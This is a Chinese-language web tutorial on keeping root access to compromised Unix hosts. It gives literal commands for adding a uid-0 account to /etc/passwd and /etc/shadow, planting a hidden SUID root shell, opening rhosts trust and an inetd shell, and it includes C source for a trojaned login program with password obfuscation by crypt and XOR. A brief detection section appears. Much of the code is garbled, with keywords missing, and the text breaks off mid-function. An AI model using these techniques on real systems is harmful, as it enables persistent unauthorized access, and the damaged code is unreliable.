常用后门技术
增加超级用户账号
破解/嗅探用户密码
放置SUID Shell
rhosts + +
利用系统服务
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内核模块(LKM)
增加超级用户
# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果系统不允许uid=0用户远程登录还需要增加个普通用户账号
破解/嗅探用户密码
获得shadow文件后用John the Ripper 工具破解薄弱用户密码安装snfit等嗅探工具监听telnet、ftp等端口收集用户密码
放置SUID Shell
# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
普通用户在本机运行/dev/.rootshell即可获得个root权限shell
rhosts + +
# echo "+ +" > /.rhosts
# rsh -l root victim.com CSh -i
远程可以得到个rootshell
利用系统服务
修改/etc/inetd.conf daytime stream tcp nowait /bin/sh sh -I ;用trojan替换in.telnetd、in.rexecd等ed服务重定向login
TCP/UDP/ICMP Shell
BindShell大部分是基于TCP/UDP协议网络服务在高端口监听很容易被发现Ping Backdoor通过ICMP包激活后门形成个Shell通道TCP ACK数据包后门能够穿越防火墙
Crontab定时任务
通过Crontab调度已安装后门定时运行般在深夜时段是系统管理员不在线时间
共享库文件
在共享库中嵌入后门使用后门口令激活Shell获得权限能够躲避系统管理员对 2进制文件本身校验
工具包Rootkit
包含系列系统及后门工具:
- 清除日志中登录记录
- 伪装校验和
- 替换netstat、ps等网络工具
- 后门登录易于安装和使用
可装载内核模块(LKM)
LKM:Loadable Kernel Modules 动态加载不需要重新编译内核
截获系统具有隐藏目录、文件、进程、网络连接等强大功能
自身隐蔽性好发现难度较大
著名LKM包有adore和knark
后门检测
以自己经验结合特定工具手工作些检测使用Tripwire或md5校验来检查系统借助IDS系统监听到目标机器可疑网络连接
例子:Login后门
入侵者先把原始/bin/login备份再用段替换/bin/login入侵者telnet登录进来时候通过环境变量或者终端类型传递了正确后门密码将直接获得个Shell;如果是普通用户登录将会重定向到原始login文件来处理正常登录
最简单login后门ulogin.c源代码如下:
例子:login后门
# <stdio.h>
# PASSWord "passWORD"
# _PATH_LOGIN "/sbin/logins"
(argc, argv, envp)
argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
( display NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
(!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
利用后门登录
首先Telnet服务是打开在自己机器上:
bash$ eXPort DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _
Strings命令
s命令能够打印出 2进制文件中可显示串用于刚才ulogin:
bash$ s ulogin
/lib/ld-Linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh
加密后门密码
1采用DES算法即crypt( )编写gen.c:
# <unistd.h>
( argc, char *argv)
{
(argc != 3) {
prf("usage: %s <password> <salt>\n", argv[0]);
exit(1);
}
prf("%s\n", crypt(argv[1], argv[2]));
}
2、编译为gen执行./gen hack ui得到shadow结果为UiVqMWvDrIQjA
3、修改后门源ulogin.c:
-- 以密文形式密码代替ulogin.c中宏PASSWORD值
-- 如果后门密码正确直接给出Shell:
(!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}
用s命令只能看到加密过密码
采用异或(XOR)算法以十 6进制方式表示串以达到non- prable效果
1、编码encode.c如下:
char magic="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
i=0,j=0,len;
len=strlen(key);
while(str[i] != '\0') {
str[i]^=key[j];
j;
(jlen) j=0;
i;
}
str;
}
void display(char *str)
{
i;
for(i=
最新评论